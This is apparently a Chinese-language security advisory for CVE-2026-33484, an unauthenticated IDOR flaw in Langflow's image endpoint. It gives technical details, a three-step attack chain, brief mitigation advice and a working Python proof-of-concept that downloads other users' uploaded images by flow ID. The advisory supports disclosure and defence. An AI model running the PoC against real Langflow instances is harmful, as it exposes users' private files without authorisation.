IPBUF安全漏洞报告
English
CVE-2026-33484 CVSS 7.5 高危

CVE-2026-33484 Langflow信息泄露漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33484
漏洞类型
越权访问 (IDOR) / 信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Langflow

相关标签

IDOR信息泄露Langflow认证绕过CWE-639

漏洞概述

Langflow 是一个用于构建和部署 AI 代理的工具。在其 1.0.0 至 1.8.1 版本中,存在一个严重的越权访问漏洞。用于获取图片文件的 API 接口 `/api/v1/files/images/{flow_id}/{file_name}` 未实施身份验证或归属权检查。未经身份验证的攻击者若能获取或猜解到 `flow_id`,即可直接访问并下载任意用户上传的图片。该漏洞在多租户环境下危害极大,可导致用户隐私数据泄露。

技术细节

该漏洞源于 Langflow 在特定 API 端点上实施了缺陷的访问控制机制。具体而言,`/api/v1/files/images/{flow_id}/{file_name}` 接口被设计用于提供用户上传的图片资源,但在后端实现逻辑中,开发人员遗漏了至关重要的身份验证和资源归属权校验步骤。正常情况下,访问用户数据应验证请求者的 Session 或 Token,并确认请求的 `flow_id` 是否属于该用户。然而,受影响版本直接根据 URL 路径参数读取文件系统中的资源并返回。攻击者利用此漏洞无需任何凭证,只需掌握目标流的 UUID(Flow ID)。UUID 虽具有随机性,但在多租户应用中常通过其他接口(如公开的 Flow 列表、分享链接元数据等)泄露。攻击者通过简单的 HTTP GET 请求即可遍历或定向窃取存储在服务器上的任意用户图片,造成严重的信息泄露。

攻击链分析

STEP 1
信息收集
攻击者通过探测其他 API 接口或利用侧信道,获取目标 Langflow 实例中有效的 flow_id(UUID)和可能的文件名。
STEP 2
构造请求
攻击者利用获取到的 flow_id 和 file_name,直接构造 `/api/v1/files/images/{flow_id}/{file_name}` 的 HTTP GET 请求。
STEP 3
窃取数据
由于服务器端缺失认证和权限校验,直接返回目标图片文件(HTTP 200),攻击者成功下载敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL vulnerable to IDOR target_base = "http://target-langflow-instance.com" endpoint = "/api/v1/files/images/{flow_id}/{file_name}" # Attacker discovered or guessed a valid flow_id and file_name # flow_id can sometimes be leaked via other API responses victim_flow_id = "550e8400-e29b-41d4-a716-446655440000" victim_file = "uploaded_diagram.png" url = target_base + endpoint.format(flow_id=victim_flow_id, file_name=victim_file) try: # Send unauthenticated request response = requests.get(url) if response.status_code == 200: print(f"[+] Exploit Successful! Downloaded file: {victim_file}") print(f"[+] Content-Type: {response.headers.get('Content-Type')}") # Save the stolen file with open(victim_file, "wb") as f: f.write(response.content) else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Langflow 1.0.0
Langflow 1.8.1

防御指南

临时缓解措施
如果无法立即升级,建议在 WAF 或反向代理上配置规则,阻断对 `/api/v1/files/images/` 路径的未授权访问请求,或者限制仅允许内网 IP 访问该接口,直至完成版本更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表